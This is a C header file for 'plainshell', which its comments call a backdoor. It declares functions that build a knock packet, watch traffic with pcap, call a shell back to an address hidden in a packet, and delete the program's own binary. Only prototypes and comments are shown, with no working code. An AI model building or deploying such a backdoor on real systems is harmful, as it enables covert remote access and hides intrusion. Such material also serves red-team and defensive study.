plainshell.h

/*
 * plainshell.h
 * Defines and includes and prototypes
 * By J. Stuart McMurray
 * Created 20160317
 * Last Modified 20160319
 */

#ifndef HAVE_PLAINSHELL_H
#define HAVE_PLAINSHELL_H 1

#define _GNU_SOURCE /* Blech */

#include <sys/socket.h>
#include <sys/stat.h>

#include <arpa/inet.h>
#include <netinet/in.h>

#include <assert.h>
#include <err.h>
#include <pcap.h>
#include <signal.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "config.h"

/* Make a knock packet.  Expects the address and port to which the backdoor
 * should call back. */
int make_knock(const char *address, const char *port);

/* init_pcap sets up a pcap monitorer. */
pcap_t *init_pcap();

/* handle takes a packet, and double-forks off a handler for it. */
void handle(u_char *name, const struct pcap_pkthdr *hdr, const u_char *pkt);

/* shell calls back the address specified in the last six bytes of pkt, which
 * is of length len. */
void shell(const u_char *pkt, bpf_u_int32 len);

/* remove_dot_slash removes the leading ./ from the string at ./ by changing
 * where the passed-in pointer points.  Thus, there is two bytes of leakage.
 * If the string doesn't start with ./, nothing happens. */
void remove_dot_slash(char **s);

/* rmbin removes whatever is at p, if it exists */
void rmbin(char *p);

#endif /* HAVE_PLAINSHELL_H */